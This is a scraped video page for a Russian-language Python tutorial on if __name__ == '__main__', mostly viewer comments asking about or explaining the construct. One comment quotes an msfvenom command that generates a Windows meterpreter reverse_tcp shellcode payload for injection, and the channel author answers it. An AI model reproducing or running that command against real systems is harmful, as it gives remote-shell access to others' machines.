Вы должны использовать это в Python | if __name__ == '__main__' (Все фишки и ошибки конструкции)

  Рет қаралды 103,567

ZProger [ IT ]

ZProger [ IT ]

2 жыл бұрын

⭐ Курс ООП и Приват канал: www.zproger-school.com/?...
⭐ Телеграм канал: t.me/+EeRrfX3jT7QxYzYx
Как пользоваться if _name_ == "__main__", как это работает, зачем нужно использовать в ваших Python проектах? Все эти вопросы мы рассмотрим в данном видео и также сделаем упор на фишки этой конструкции и основные ошибки, которые допускают новички.
Многие изначально не понимают для чего именно её применять, так вот в рамках этого видео мы разберем это на самых подробных примерах, вы сможете полностью понять смысл этой конструкции.
📁 Github: github.com/Zproger
📁 Все плейлисты с уроками: bit.ly/39GaY89
📁 Связаться со мной: zproger777@gmail.com
📁 Поддержать криптовалютой: github.com/Zproger/donate

Пікірлер: 241
@robertobokarev439
@robertobokarev439 Жыл бұрын
В двух словах: __name__ это переменная, выводящая имя объекта. Если не используется как атрибут какого-то объекта (class.__name__), а просто в файле (__name__), то выводит имя файла. Если вы импортируете typing, например typing то __name__ этого модуля будет равен "typing". Но если вы запустите в терминале сам этот файл, то его __name__ будет равна "__main__". Другим языком, всё, что под конструкцией if __name__=="__main__" выполнится только если вы запустите это файл.
@sergeyalekseev2816
@sergeyalekseev2816 Жыл бұрын
Спасибо!!!!
@LeoPlus
@LeoPlus Жыл бұрын
От души!
@LeoPlus
@LeoPlus Жыл бұрын
Ещё бы подсказал как это использовать в телеграмм боте)
@lbbMHz
@lbbMHz Жыл бұрын
@@LeoPlus а зачем это использовать в телеграм боте?
@kirillchebodaev2244
@kirillchebodaev2244 Жыл бұрын
Спасибо
@danielkhatib9472
@danielkhatib9472 Жыл бұрын
Спасибо что помог ускорить понимание данной темы ,по книге читал читал не мог понять, видимо мало примеров
@user-gz4fx4sv6d
@user-gz4fx4sv6d 2 жыл бұрын
Спасибо большое. Стал на шаг ближе к пониманию темы.
@zproger
@zproger 2 жыл бұрын
=)
@sowt007
@sowt007 Жыл бұрын
Наконец то стало понятно!) Спасибо!
@wcst6324
@wcst6324 2 жыл бұрын
Ну обьяснение для новичка такое себе.... Ты со своей колокольни мб и понимаешь что говоришь, а для новичка всё равно ничего не обьяснил. Что, зачем и почему. Ну и чтобы не только критиковать, скажу как я это понял из другого видоса: Допустим у нас есть два модуля (2 файла .py) Нам для своих целей нужно запустить первый файл из второго, но не сразу, а после определенных действий во втором файле. Для этого естественно нам нужно импортировать первый файл во второй. Тут и раскрывается особенность конструкции name=main Если данную конструкцию не вписать в импортируемый файл(первый). То при импорте ПЕРВЫМ делом мы запустим функцию из первого файла, а только потом уже перейдем к коду из второго файла. Легче конечно на примере обьяснить, но мб кому-то это поможет
@yourcar2389
@yourcar2389 2 жыл бұрын
Из твоего объяснения понял больше, чем из видел
@zoreyan
@zoreyan Жыл бұрын
Нахрена по твоему новичку знать эту конструкцию, с чего вы взяли что это для новичков? видно же что описание звучит страшно
@user-vf4ql8oe3f
@user-vf4ql8oe3f Жыл бұрын
действительно, понятней, спасибо
@user-ue8td8lx5i
@user-ue8td8lx5i Жыл бұрын
а почему нельзя просто прописать import после определенных действий во втором файле, а не сразу? Ведь import как раз таки и исполняет весь код импортируемого файла
@RoKivals
@RoKivals Жыл бұрын
@@zoreyan потому что это основа работы с многофайловыми программами, как только ты начнёшь писать хотя бы больше 50 строк, это пригодится. Объяснение в видео реально очень плохое. Запутанно намешано и так далее. Можно было намного проще и понятнее объяснить
@vladyslavpsht6097
@vladyslavpsht6097 Жыл бұрын
Автору респект, я начал только учить C# ( ну вот прям совсем только, строки короче ))) и прям понял про что он, чувствую на будущее прям маст хэв к применению... Руки чешутся писать ;)
@zproger
@zproger Жыл бұрын
Значит надо продолжать =)
@elnurbda
@elnurbda 2 жыл бұрын
Большое спасибо за видеоролик!
@zproger
@zproger 2 жыл бұрын
=)
@intermilan7011
@intermilan7011 9 ай бұрын
Благодарю за ваш труд❤
@skydsher8942
@skydsher8942 7 ай бұрын
Очень крутой гайд! Спасибо огромное!
@SkveerBoy
@SkveerBoy 2 жыл бұрын
Полезное видео спасибо )
@zproger
@zproger 2 жыл бұрын
Рад что понравилось =)
@fedorivanov8420
@fedorivanov8420 2 жыл бұрын
Полного понимания не появилось) Я так размечаю точку входа и все. И в чужом коде ищу эту точку, чтобы понять откуда начинать.
@rokot
@rokot 2 жыл бұрын
Мне кажется, это только в команде (где твориться сущий беспорядок) даёт понять другим программистам, что программа не модуль.
@deroteron
@deroteron 2 жыл бұрын
Подмечу что этот комментарий был проигнорирован, и автор отвечает только тем кто понял, по типу "пожалуйста" "рад помочь" и т.д.
@zproger
@zproger 2 жыл бұрын
Можно и так делать. Понимание придет уже на практике и во время экспериментов. Я попытался объяснить максимально просто, но всё равно без проработки это нельзя понять сразу
@zproger
@zproger 2 жыл бұрын
Отвечаю всем, но не сразу, так как много приходит комментариев с разных видео =)
@lonesome2702
@lonesome2702 Жыл бұрын
Хоть и не особо разбираюсь в программировании, но после переслушивания и пересматривания стало понятнее, почему это используют
@Mr.Alex_fps
@Mr.Alex_fps Жыл бұрын
Спасибо, хорошо объяснил! Вот тебе коммент для поддержки)
@zproger
@zproger Жыл бұрын
Благодарю!
@5vFreeNz
@5vFreeNz 2 жыл бұрын
Спасибо!
@zproger
@zproger 2 жыл бұрын
=)
@user-xy7bi1kb4q
@user-xy7bi1kb4q 4 күн бұрын
СПАСИБО БОЛЬШОЕ
@andrewkrivoshein123
@andrewkrivoshein123 Жыл бұрын
Спасибо
@TheAgressor13
@TheAgressor13 3 ай бұрын
Спасибо, наконец-то понял
@ViktorTolmachev
@ViktorTolmachev Жыл бұрын
Спасибо за видео! А я не раз замечал, что эту конструкцию использую одновременно с ООП, что ещё более запутывает, так как подход там не такой, как пишут в учебниках.
@gy4fi_k766
@gy4fi_k766 8 ай бұрын
Ты лучший, сидел 2 часа мучился с проблемой, когда импортировал свой код он автоматически начинал запускаться. В итоге все приводило к циклическому импорту)
@RuslanKorchagin
@RuslanKorchagin 2 жыл бұрын
if __name__ == "__main__": Использую, для тестов библиотеки. Т.е. если я пишу библиотеку, но хочу ее протестировать, я просто в ифмэйннейм прописываю тесты функций библиотеки и запускаю библиотеку как программу. Второе, это экранирование в случае многопоточности. При вызове дочернего процесса нельзя запускать повторно код основного процесса и для этого его и помещают в ифнейммэйн
@MR-gz7pl
@MR-gz7pl 2 жыл бұрын
Ты самый топовый чувак )
@zproger
@zproger 2 жыл бұрын
Спасибо, это мотивирует 🙂
@flamingastheburning164
@flamingastheburning164 2 жыл бұрын
Пишу на срр, не питонист, вскользь с ним сталкивался только, но для общего развития было весьма интересно, подача хорошая. А ко не понял сразу - поймут только опытом и практикой, это не редкость, что суть материаь доходит только через опыт и повторение)
@ItsGame228
@ItsGame228 Жыл бұрын
Как я понял, это нужно для того что бы понять модуль это или нет. Если это модуль, мы не запускаем основную функцию main() ( entry point ). Если запускаем это как основной файл, мы выполняем все что стоит после If name = main. Сделано для того что бы случайным образом не помешали выполнению кода, так как все переменные будут глобальные, то есть если в первом файле i = 5 то во втором i = 6, и тогда уже первая переменная будет равна второй, потому что присвоили новое значениe
@master8920
@master8920 2 жыл бұрын
спс ролик нужный, продолжай 🔥🔥🔥
@zproger
@zproger 2 жыл бұрын
Благодарю!
@niva622
@niva622 Жыл бұрын
Спасибо тебе добрый человек, вместе мы становимся лучше)
@karkozov
@karkozov Жыл бұрын
-никто не уйдёт не поняв, я подготовил много примеров *называет файл main чтоб объяснить, что такое **__main__* -сейчас тут все запутано, потому что файл называется main 😂
@goshaposhlyy
@goshaposhlyy 2 жыл бұрын
Спасибо большое тебе , лучшее объяснение
@zproger
@zproger 2 жыл бұрын
Благодарю!
@rokot
@rokot 2 жыл бұрын
Если честно, я так и не понял. Я услышал, что это правило хорошего тона. Позволяет другим программистам понять, что это не модуль. Выявить ошибку, если на линуксе делаешь бесконечные циклы.
@zproger
@zproger 2 жыл бұрын
Это не перевод, не нужно говорить то, чего не знаете!
@artyombelash6928
@artyombelash6928 Жыл бұрын
классное видео, все понятно) скажи пожалуйста тему для пайчарма, которую используешь, очень понравилась)
@zproger
@zproger Жыл бұрын
либо Dracula либо Github Dark
@artyombelash6928
@artyombelash6928 Жыл бұрын
@@zproger спасибо)
@ruslantarasevich3727
@ruslantarasevich3727 Жыл бұрын
Привет! Спасибо за видеоролики. А есть у Питона библиотеки для dsp или fpga?
@Hekysei
@Hekysei 10 ай бұрын
Ку. Точно могу сказать, что ролик полезный, особенно для новичков вроде меня. Большое спасибо. Также хочу узнать, какую ось использует автор?
@zproger
@zproger 10 ай бұрын
Благодарю, тут Zorin OS, в новых видео Arch Linux
@Hekysei
@Hekysei 10 ай бұрын
@@zproger понял, спасибо. Можно узнать причину перехода с Zorin на Arch?
@Wise_al9
@Wise_al9 Жыл бұрын
Хорош
@zproger
@zproger Жыл бұрын
Спасибо =)
@Karaku228
@Karaku228 2 жыл бұрын
Накидайте мужику лайков за старания, чего вы жмотитесь, люди.
@zproger
@zproger 2 жыл бұрын
Спасибо 🥰
@PersonalTradingDiary
@PersonalTradingDiary Жыл бұрын
Немного не понял, если импортировать модуль с проверкой if __ name__ == '__main__'. То будет ли импортирована функция main() из модуля? Если да, то как это всё будет работать когда в основном скрипте так-же весь код будет обёрнут в функцию main() с вышеописанной проверкой, будут ли какие-то конфликты разных функций main()? Или просто функция из основного скрипта будет всегда перезаписывать импортируемые функции main() из возможных модулей?
@_Kruzo_
@_Kruzo_ 9 ай бұрын
Спасибо автору за труды, он хороший программист, но объяснять материал увы, не его конек😊
@r_computer
@r_computer Жыл бұрын
Вопрос не по теме: а какой у Вас Линукс на видео? Выглядит красиво
@user-kh5vi4yi5t
@user-kh5vi4yi5t 9 ай бұрын
Всё мозги разбил на части, всё извилины заплел
@user-iy3yo2wt1n
@user-iy3yo2wt1n Жыл бұрын
Четко 👍
@zproger
@zproger Жыл бұрын
Спасибо =)
@Putu_pererenan
@Putu_pererenan 7 күн бұрын
в пхп нет никакой точки входа, все прекрасно работает
@kozsv
@kozsv 2 жыл бұрын
Очень интересно ннп, смотрю уже у второго про это найм Майн, чуть лучше но один фиг смутно всё
@zproger
@zproger 2 жыл бұрын
Вроде всё достаточно просто
@roazanas
@roazanas 2 жыл бұрын
Ну во-первых, это просто декоративно, легче понять где начинается сама программа. Во-вторых, если ты будешь писать программу, например, для разных видов сортировок и оформишь её через функции, то сможешь в той же программе сделать тесты через if name main, где вызовешь все функции. Тогда при основном запуске программы, ты будешь тестировать сортировки, а при импорте из другой программы использовать функции, при этом не вызывая тест-кейсы
@evgenkeba1656
@evgenkeba1656 2 жыл бұрын
Вот, вот, точно так же и у меня! Посмотрел много роликов, но так до конца и не понял!
@perf2.078
@perf2.078 2 жыл бұрын
В общем, есть кусок кода. Если он основной файл, то выполняется всё (точнее то, что определено в функции main или какой-ещё явно указанной после разбираемой конструкции). Но этот же файл можно импортировать в другой файл через import, и тогда это будет уже библиотека, и из первого файла можно не всё брать, а только те функции, которые нужны для другого файла. Ну и переменные будут отличаться, как сказано в конце.
@bratka4636
@bratka4636 2 жыл бұрын
@@roazanas читаю ..... вроде понятно, понимаю потом что ничего не понятно)))) за запуск как модуля я понял что код не будет выполнен так как нету условия(нейм) а за точку запуска ничего не понял.... но это пока что
@Himera1983
@Himera1983 3 ай бұрын
после слов точка входа , значения и глобал я перстал что то понимать . поздравляю все ушли без понимания
@twincc8901
@twincc8901 Жыл бұрын
Тоисть if name = main позволяет импортировать функции из кода в другой код я так понел? И даёт возможность смотреть где функция находиться в в main классе или в каком-то другом
@andreykuznetsov8096
@andreykuznetsov8096 2 жыл бұрын
А почему меня должно волновать, что кто-то пытается запустить модуль? Ну пусть запускает, мне то что?
@zproger
@zproger 2 жыл бұрын
Если вы написали библиотеку а кто-то запускает её напрямую, то нужно как правило выполнить другой код, а тут надо понимать как именно софт был запущен.
@ForseNight
@ForseNight 9 ай бұрын
Короче прикол в том что это как общая черта всех языков, почти везде есть буква а в алфавите, но там где её нет было бы хорошо хобы уметь её произносить. Наверное для взаймопонимания или хз, традиция проще говоря, это уже связано не с языком программирования, а с нами. Наверное надо C++ подучить чтоб понять лучше в чём дело.
@freshmotion5401
@freshmotion5401 2 жыл бұрын
Интересное видео... не нашла в инете.можно ли в принципе посмотреть код любого бота ..например в телеграмме?
@zproger
@zproger 2 жыл бұрын
Напрямую в телеграмм нельзя)
@user-ik2zl5hx5o
@user-ik2zl5hx5o 2 жыл бұрын
Тема не для новичков. С третьего раза понял. Спасибо
@zproger
@zproger 2 жыл бұрын
Главное что поняли, это важно =)
@user-tr9to7sn4l
@user-tr9to7sn4l Ай бұрын
Спросил у chat GPT получил короткий, понятный ответ с примерами.
@sergsangels
@sergsangels Жыл бұрын
Бубу бубубубубубу приходиться нажимать паузу или медленнее говорилку, следующее видео записуй на х4 для людей с высоким IQ , можно было сказать что делаем функцию main и пишем туда весь код как в любом языке и все, но небольшие скрипты можно и без main писать, это может делать python в отличие от других языков.
@user-rs8vv8ox5o
@user-rs8vv8ox5o 2 жыл бұрын
Что за ОС и оболочку используешь?
@zproger
@zproger 2 жыл бұрын
Zorin OS
@Vector_05
@Vector_05 11 күн бұрын
Браток, такое ощущение, что ты объясняешь сам себе. Так сказать мысли вслух. Учитель из тебя никакой. Ни чего не пончл из того, что ты накидал в кучу 😂
@OasisWordLessons
@OasisWordLessons Жыл бұрын
До просмотра мало что было понятно . После просмотра и то что знал забыл.
@binancetraider658
@binancetraider658 2 жыл бұрын
Круто
@zproger
@zproger 2 жыл бұрын
=)
@rokot
@rokot 2 жыл бұрын
Насколько я понял, это как в фотошопе, ты можешь рисовать всё на одном слое, но потом тяжело что-то править, а можешь создавать отдельные слои под каждый элемент и потом легко всё править.
@zproger
@zproger 2 жыл бұрын
Если конструкция используется для повторного использования, то есть подразумевает что файл будут импортировать, то да. Можно поставить заглушку и потом повторно использовать уже написанный ранее код.
@ryu8777
@ryu8777 Жыл бұрын
Ничего непонятно, но очень интересно
@zproger
@zproger Жыл бұрын
=)
@fahrenheit1863
@fahrenheit1863 Жыл бұрын
А если при импорте переопределяться сама функция _main_ .
@saga5367
@saga5367 2 жыл бұрын
Можно узнать что за плагин с такой цветокоррекцией?
@zproger
@zproger 2 жыл бұрын
Github dark
@saga5367
@saga5367 2 жыл бұрын
@@zproger благодарю
@kirillmelnikov7846
@kirillmelnikov7846 2 жыл бұрын
лайк++ а что по IDE ? Давно не видел свежих срачей по поводу, что сейчас модно и правильно? Сам nvim использую вообще. как LSP завезли так всё стало +/- одинаково...
@Slavasil
@Slavasil 2 жыл бұрын
ну неовим енто не идэ)
@Zhuravskiy
@Zhuravskiy Жыл бұрын
никогда не используйте import *, везде и все об этом пишут, а тут все примеры с import *
@overkkk9007
@overkkk9007 Жыл бұрын
А почему?
@DarkRootChannel
@DarkRootChannel Жыл бұрын
@@overkkk9007 Может возникнуть конфликт переменных из-за одинаковых названий
@user-nh9gn2ql8x
@user-nh9gn2ql8x 2 жыл бұрын
Объяснение очень интересное, но я хочу уточнить небольшие детали. К примеру, я создаю файл "renders_text_color.py", записываю туда все функции по рендерингу текста в определенных сценах игры, а в конце кода добавляю: if __name__ == '__main__': pass А в другом файле я импортирую "from renders_text_color import *" прописываю сцены, и в каждой сцене я беру функцию и импортированного файла для отображения текста. А теперь вопрос: 1. Стоит ли мне установить какое-либо действие вместо "pass", если я собираюсь в том файле хранить только функции для использования в основном коде? 2. И что будет происходить в основном коде, если я буду указывать функцию из того файла в определенных сценах, но в том файле не пропишу эти две строчки? P.S. Я в программировании еще новичок, образование по программировании не имею, английским владею только на 30 из 100 баллов. Буду раз, если сможете мне объяснить так, чтоб даже дурак понял.
@iliyasone
@iliyasone 2 жыл бұрын
ничего не будет, вообще не нужно писать тогда эти 2 строчки.
@justforfun-yc4xz
@justforfun-yc4xz Жыл бұрын
Куда же без функции для хака Пентагона 😁
@zproger
@zproger Жыл бұрын
Вот и я о том же :D
@artembagachkov933
@artembagachkov933 2 жыл бұрын
Одна строка, а столько смысла
@shimoda47
@shimoda47 Жыл бұрын
Я впервые столкнулся с if __name__=="__main__" когда начал работать с потоками. Потому что они без этой строчки не работают. Но теперь я не знаю как заставить их работать не в отдельном скрипте, а как раз как библиотека потому что выполняя из другого скрипта там уже name не main
@user-lv1le3oq6c
@user-lv1le3oq6c Жыл бұрын
Если как модуль, if __name__ != "__main__"
@user-eb2tx3ev1m
@user-eb2tx3ev1m Жыл бұрын
А меня одного смутило, что в примере if _name_ ОДИН знак равно, а не два, однако PyCharm не выдал ошибку? Или это не влияет на работу программы?
@maroon6439
@maroon6439 7 ай бұрын
у него просто оформление такое, знаки сливаются(Как и с __name__, там дублируется нижнее подчёркивание)
@Anshegar
@Anshegar Жыл бұрын
Как ты с помощью этого цикл импорта исправишь? Циклы импорта исправляются по другому. Пока для данной концструкции вижу только 2 применения, это показать точку входа и задавать уникальные , так сказать резервные, точки входа для уникальных редких задач. (обычно когда проект большой и строится из разных малых подпроектов)
@Dav1dBlaine
@Dav1dBlaine 2 ай бұрын
как новичок нихуя не понял но было интересно.
@user-cb1uo7oc3c
@user-cb1uo7oc3c 2 жыл бұрын
Очень интересно, но пока я все равно не понял ничего =))
@zproger
@zproger 2 жыл бұрын
Что именно не понятно?
@walcermelodia
@walcermelodia 2 жыл бұрын
Как сделать нижнне подчеркивание ровным в pycbarm'е? У меня просто if __main__ ... выглядит, прямо как в названии видео :(
@user-we4ip7mb7w
@user-we4ip7mb7w 2 жыл бұрын
Ничего не понял, но попробуй поменять тему в настройках, она вместе с шрифтом меняется
@zproger
@zproger 2 жыл бұрын
Оно так по дефолту в плагине MaterialUI
@smgbdr4338
@smgbdr4338 Жыл бұрын
Спасибо, но грустно смотреть очередное видео, где автор говорит, что поймёт каждый, а ты без людей в комментариях реально не разберёшься
@twiiiitweee7977
@twiiiitweee7977 2 жыл бұрын
Сделай уроки по самоё крутой настройке PyCharm пожалуйста
@zproger
@zproger 2 жыл бұрын
На канале есть такое видео, но возможно скоро сделаю более полное и крутое
@alexandermartin5694
@alexandermartin5694 Жыл бұрын
Ничего бы не понял, если бы не знал. Для тех кто не знал и не понял: Если не изменяет память, так как выражение не использую в своих программах, а со временем просто забываются такие вещи, всё, что стоит под этим выражением, не может использоваться для импорта в других файлах.
@user-de8io3zp8m
@user-de8io3zp8m 2 жыл бұрын
Крутой и полезный видос, автору спасибо). if __name__ == "__main__": like_video()
@zproger
@zproger 2 жыл бұрын
Благодарю =)
@Tosha.V
@Tosha.V Жыл бұрын
функция хака пентагона)))
@zproger
@zproger Жыл бұрын
😎😎
@pavelgs7725
@pavelgs7725 2 жыл бұрын
Подскажи пожалуйста, какая у тебя стоит тема в pycharm
@zproger
@zproger 2 жыл бұрын
Github dark
@pavelgs7725
@pavelgs7725 2 жыл бұрын
@@zproger Спасибо
@greatgoltz
@greatgoltz Жыл бұрын
У вас ник с чем связан? А то видос смотрю, но терзают смутные сомнения
@zproger
@zproger Жыл бұрын
Точно не с политикой) нику 3 года
@user-es7oe8rp8u
@user-es7oe8rp8u 2 жыл бұрын
Работал с потоками и без этой строчки получилась бесконечная неявная рекурсия
@zproger
@zproger 2 жыл бұрын
Это да
@PLAYCHANIN
@PLAYCHANIN 2 жыл бұрын
Ты сказал что никто не уйдёт отсюда ничего не поняв, но я нихрена не понял ((
@zproger
@zproger 2 жыл бұрын
Как так :0
@mlr__roal_6867
@mlr__roal_6867 9 ай бұрын
У меня проблема - хочу запускать процесс из библиотеки!!! А под виндовсом это не работает!
@dazdess
@dazdess Жыл бұрын
Вопрос, чем __main__ отличается от __init___? Я понимаю что __init__ это конструктор. Но чем она логически отличается?
@YuraSamusenko
@YuraSamusenko Жыл бұрын
__init__, как вы уже поняли, я смотрю, это конструктор класса, который автоматически исполняется при создании нового экземпляра класса, и в котором происходит инициализация переменных класса(вроде как правильнее их называть поля класса). __main__ это не имя переменной или чего-либо в программе, а имя самого файла скрипта, если запустить его. Как выше приводят примеры, если вывести значение __name__ в файле, из которого импортируется функция или объект, то __name__ будет равен имени файла. А если вывести значение непосредственно в файле, то будет значение "__main__"
@user-lp8ng3kp4c
@user-lp8ng3kp4c 2 жыл бұрын
Что за дистрибутив и рабочее окружение?
@zproger
@zproger 2 жыл бұрын
Zorin OS
@sariya271
@sariya271 Жыл бұрын
что за тема в чарме?
@zproger
@zproger Жыл бұрын
github dark
@DUB-bm9tq
@DUB-bm9tq 29 күн бұрын
Надеялся, что это видео после 4-ёх лет разработки убедит меня использовать точку входа Python, но только лишний раз понял, что на моей практике ни разу не пригодилось.
@luispakvard5681
@luispakvard5681 2 жыл бұрын
А вы делали инъекцию шел кода? потому что я сделал все как в книге "Gray Hat Python" а у меня совсем не работает у меня Python 3.8.9 . Я генерю шелкоды через msfvenom который в Kali Linux на флешке как то так msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread lhost= lport=6982 -b '\x00\x0a\x0d' --encrypt base64 -f c там еще нужно заменить айпи адрес скриптом через replace а я не знаю как это сделать если шелкод закодирован
@zproger
@zproger 2 жыл бұрын
Это сильно зависит от архитектуры и прочих факторов. Читал эту книжку и пробовал делать примеры, правда там есть тонкости и надо ассемблер понимать хотя бы на базовом уровне.
@luispakvard5681
@luispakvard5681 2 жыл бұрын
​@@zproger А если я устанавливаю pyenvом другую версию питона и pyenv local 2.5.1, а потом создаю новое виртуальное окружение python -m venv mynewenv то мне приходиться менять вручную настройки в pyvenv.cfg и activate.bat потому что оно не подхватывает настройки новоустановленного питона и взяло PYTHONPATH из системных переменных установленного питона на диске C так и должно быть?
@latinic8674
@latinic8674 2 жыл бұрын
Пожалуйста, укажи источник в описании kzfaq.info/get/bejne/ncWnn71qrs7GhKc.html но про глобальные переменные в модуле немного новое узнал
@zproger
@zproger 2 жыл бұрын
Я не копировал это видео, у меня оно совершенно другое
@latinic8674
@latinic8674 2 жыл бұрын
@@zproger по структуре похожие просто
@zproger
@zproger 2 жыл бұрын
Ну оно по структуре почти у всех похоже, потому что о конструкции особо ничего нового и не расскажешь
@polukrovka3457
@polukrovka3457 5 ай бұрын
а как таую ошибку в пай чарме исправить
@meltoroun
@meltoroun 2 жыл бұрын
У Вас gnome? :)
@zproger
@zproger 2 жыл бұрын
Это стандартная оболочка от Zorin OS
@logic4519
@logic4519 2 жыл бұрын
не в каждом языке так, в lua так же как в python
@zproger
@zproger 2 жыл бұрын
Да, в скриптовых языках такое в основном
@bomboklaa
@bomboklaa 2 жыл бұрын
Какая тысяча лайков? 10 тысяч
@zproger
@zproger 2 жыл бұрын
было бы круто =)
@no-user-found
@no-user-found 2 ай бұрын
Наврал. Я привык пользоваться if __name__ == '__main__': code и, думал, мне наконец объяснят здесь чем она хуже чем def main(): code if __name__ == '__main__': main() Но я всё ещё не чувствую дополнительного профита
@Majohne
@Majohne Ай бұрын
Так принято
@goodwin_for_you
@goodwin_for_you 2 жыл бұрын
Всё равно непонятно, не хватает подробного разбора примеров.
@zproger
@zproger 2 жыл бұрын
Так а какие примеры? В реальных проектах просто заглушка вставляется и всё
@VictoryStep
@VictoryStep 29 күн бұрын
на середине я уснул.
@pinfold3201
@pinfold3201 Жыл бұрын
все не могу привыкнуть к f"", как же приучить то себя
@user-yo7qq4od2j
@user-yo7qq4od2j Жыл бұрын
Спасибо за видео, но ты что-то быстро так говоришь. 😢
@zproger
@zproger Жыл бұрын
Стараюсь контролировать скорость речи, но не получается. Говорю как можно медленней, потом смотрю запись а там все 200 бпм.
@user-yo7qq4od2j
@user-yo7qq4od2j Жыл бұрын
@@zproger все равно спасибо, ты - Гуру.
@MilcFord
@MilcFord 2 ай бұрын
Не пому понять до конца эту тему. И тут тоже не приблизился к полному понимаю.
@Alex-ho8ke
@Alex-ho8ke 2 жыл бұрын
Получается ифнейммейн это в каком то смысле автоматическое наследование файла?
@zproger
@zproger 2 жыл бұрын
Не совсем. Но если Вы захотите, то можете использовать его и так. Тут главное понимать когда файл запускается как основной и когда импортируется в другую программу как модуль. А дальше уже выполняйте любой код, в зависимости от результата
@avirt7750
@avirt7750 Жыл бұрын
Я понял с момента 7:00
@zproger
@zproger Жыл бұрын
Отлично
@luckytima2315
@luckytima2315 2 жыл бұрын
Почему все ещё Зорин :p
@zproger
@zproger 2 жыл бұрын
Идеально подходит для видео
@develper2
@develper2 2 жыл бұрын
Like
@zproger
@zproger 2 жыл бұрын
=)
@tupabantv8024
@tupabantv8024 2 жыл бұрын
Понятно
@zproger
@zproger 2 жыл бұрын
Круто =)
@khamzagal7928
@khamzagal7928 4 ай бұрын
Что то на сеньйорском😅
@zproger
@zproger 4 ай бұрын
на джунском)
@lmaootakedh
@lmaootakedh 2 жыл бұрын
перезалив?
@zproger
@zproger 2 жыл бұрын
Не, старое видео было очень короткое и многие говорили что я не до конца раскрыл эту тему + многие не поняли зачем. Решил в этот раз сделать максимально понятно и затронуть каждую мелочь.
@pcbuild4282
@pcbuild4282 Жыл бұрын
Только запутал, на середине ролика вырубил ибо начал терять смысл.
The day of the sea 🌊 🤣❤️ #demariki
00:22
Demariki
Рет қаралды 92 МЛН
Must-have gadget for every toilet! 🤩 #gadget
00:27
GiGaZoom
Рет қаралды 11 МЛН
ТОП 5 Ошибок в написании функций Python
12:46
Как выучить Python БЫСТРО используя ChatGPT?
10:10
10 признаков того, что вы новичок в Python
4:59
КАК УСТРОЕН ИНТЕРНЕТ. НАЧАЛО
41:58
Alek OS
Рет қаралды 491 М.
Я 20 лет писал код и вот что я думаю
31:01
Sergey Nemchinskiy
Рет қаралды 30 М.
The day of the sea 🌊 🤣❤️ #demariki
00:22
Demariki
Рет қаралды 92 МЛН